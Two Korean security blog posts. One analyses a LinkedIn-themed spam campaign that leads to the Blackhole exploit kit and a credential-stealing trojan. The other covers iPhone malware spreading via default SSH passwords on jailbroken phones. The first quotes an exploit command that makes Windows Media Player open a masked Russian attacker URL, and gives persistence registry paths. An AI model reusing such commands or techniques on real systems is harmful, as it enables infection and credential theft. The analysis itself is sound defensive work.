ASEC에서는 6월 5일 웹 익스플로잇 툴킷(Web Exploit Toolkit)의 일종인 블랙홀(Blackhole) 웹 익스플로잇 툴 킷이 스팸 메일(Spam Mail)과 결합되어 유포되었다는 사실을 밝힌 바가 있다.


금일 블랙홀 웹 익스플로잇 툴 킷과 결합된 스팸 메일이 다시 발견되었으며, 이 번에 발견된 스팸 메일은 사용자가 많은 유명 소셜 네트워크(Social Network) 서비스인 링크드인(LinkedIn)의 초대 메일로 위장하여 유포되었다.


이 번에 발견된 링크드인 스팸 메일과 결합된 형태로 유포된 블랙홀 웹 익스플로잇 툴킷은 아래 이미지와 같이 다양한 취약점들을 악용하고 있으며 최종적으로 감염된 PC에서 사용자 정보들을 탈취하기 위한 악성코드 감염을 목적으로 하고 있다.



링크드인의 초대 메일로 위장해 유포된 스팸 메일은 아래 이미지와 같은 형태를 가지고 있으며, [Accept] 부분은 정상적인 링크드인 웹 페이지로 연결되는 것이 아니라 중국에 위치한 특정 시스템으로 연결되도록 구성되어 있다.



해당 [Accept] 부분을 클릭하게 되면 중국에 위치한 특정 시스템으로 접속하며, PC 사용자에게는 아래와 같은 이미지를 보여주게 된다.



그러나 실제 해당 웹 페이지 하단에는 아래 이미지와 같이 웹 페이지 하단에는 다른 러시아에 위치한 시스템으로 연결되는 자바 스크립트 코드가 인코딩 되어 있다.



해당 자바 스크립트 코드를 디코딩하게 되면 아래 이미지와 같이 iFrame 으로 처리된 코드가 나타나며, 사용자 모르게 러시아에 위치한 블랙홀 웹 익스플로잇 툴킷이 설치되어 있는 시스템으로 연결하게 된다.



해당 블랙홀 웹 익스플로잇 툴킷에 성공적으로 연결하게 되면 웹 브라우저에 의해 CMD 명령으로 윈도우 미디어 플레이(Windows Media Player) 취약점을 악용하기 위한 시도를 하게 된다. 그러나 분석 당시 해당 취약점은 정상적으로 악용되지 않았다.


"C:\Program Files\Windows Media Player\wmplayer.exe" /open http://************.ru:8080/forum/data/hcp_asx.php?f=182b5"


그리고 두 번째로 자바(JAVA)와 인터넷 익스플로러(Internet Explorer)에 존재하는 알려진 취약점을 악용하기 위한 스크립트 파일이 실행된다.



세 번째로 어도비 아크로뱃 리더(Adobe Acrobat Reader)에 존재하는 알려진 취약점을 악용하기 위한 PDF 파일을 아래 이미지와 같이 다운로드 후 실행 하게 된다.



해당 링크드인 스팸 메일을 수신한 PC에 위에서 언급한 4개의 취약점 중 하나라도 존재 할 경우에는 동일한 시스템에서 wpbt0.dll (127,648 바이트)를 다운로드하여 다음 경로에 생성하게 된다.


C:\Documents and Settings\Tester\Local Settings\Temp\wpbt0.dll


그리고 생성된 wpbt0.dll (127,648 바이트) 는 다시 자신의 복사본을 아래 경로에 KB01458289.exe (127,648 바이트)라를 명칭으로 복사하게 된다.


C:\Documents and Settings\Tester\Application Data\KB01458289.exe


감염된 PC의 레지스트리에 다음 키 값을 생성하여 PC가 재부팅 할 때마다 자동 실행 되도록 구성하였다.


HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\

KB01458289.exe = C:\Documents and Settings\Tester\Application Data\KB01458289.exe


그리고 감염된 PC에서 실행 중인 모든 정상 프로세스의 스레드로 자신의 코드 일부분을 삽입한 후 다음의 정보들을 후킹하게 된다.


웹 사이트 접속 정보

FTP 시스템 접속 사용자 계정과 비밀 번호 정보

POP3 이용 프로그램 사용자 계정과 비밀 번호 정보

웹 폼 변조(Formgrabber) 및 웹 폼 인젝션 (httpinjects)으로 웹 사이트 사용자 계정과 암호 정보


감염된 PC에서 수집된 정보들 모두는 아래 이미지와 같이 악성코드 내부에 하드코딩 되어 있는 특정 시스템들으로 후킹한 데이터들 전부를 인코딩하여 전송하게 된다.



그리고 마지막으로 감염된 PC 사용자에게는 아래 웹 페이지와 같이 연결을 시도한 웹 페이지를 보여주어 정상적인 접속이 실패한 것으로 위장하게 된다.



이 번에 발견된 링크드인 스팸 메일과 결합된 블랙홀 웹 익스플로잇 툴킷에서 유포한 악성코드들은 V3 제품군에서 모두 다음과 같이 진단한다.


JS/Iframe

Packed/Win32.Krap

PDF/Exploit
JS/Exploit

링크드인 스팸 메일과 결합된 블랙홀 웹 익스플로잇 툴킷에서 유포를 시도한 악성코드는 기존에 발견된 온라인 뱅킹 정보 탈취를 목적으로하는 제우스(Zeus) 또는 스파이아이(SpyEye)와 유사한 웹 폼 변조(Formgrabber) 및 웹 폼 인젝션 (httpinjects) 기능으로 웹 사이트 사용자 계정과 암호 정보를 탈취 할 수 있다.


이는 악성코드 유포자가 의도하는 대부분의 웹 사이트들에서 사용자 계정과 비밀 번호 정보를 탈취 할 수 있음으로, 단순 스팸 메일로 판단되더라도 송신자가 불명확한 메일에 포함된 웹 사이트 연결 링크를 클릭하지 않는 주의가 필요하다.

저작자 표시
신고
Posted by 비회원
아이폰(iPhone) 악성코드가 나타났다고 합니다... 해당 악성코드에 감염된 아이폰은 배경화면이 아래의 사진처럼 바뀐다고 합니다.


감염 경로는 모든 아이폰이 감염 대상은 아닙니다. 아이폰을 크랙하여 사용하는 기기들에 대해서만 감염이 되는데 이러한 크랙하여 사용하는 아이폰을 탈옥된(Jailbroken) 아이폰이라고 합니다.

이러한 아이폰들은 대부분 SSH 서비스가 활성화 되어 있고 패스워드가 대부분 Default(alpine)로 설정되어 있어 이러한 취약점을 이용하여 감염된다고 합니다.

전파원리는 아래 소스에서처럼 해당 IP 들을 스캔해서 Cydia application을 통해 접속한다고 하네요. 이때 당연히 패스워드를 확인하겠지만 위에 설명한거처럼 Default로 설정해놓고 바꾸지 않았다면 감염이 되겠죠?



즉, 패스워드만 변경해주거나 SSH 서비스를 활성화 하지 않는다면 해당 악성코드로 부터 감염은 예방될 수 있을거 같습니다.
신고
Posted by 비회원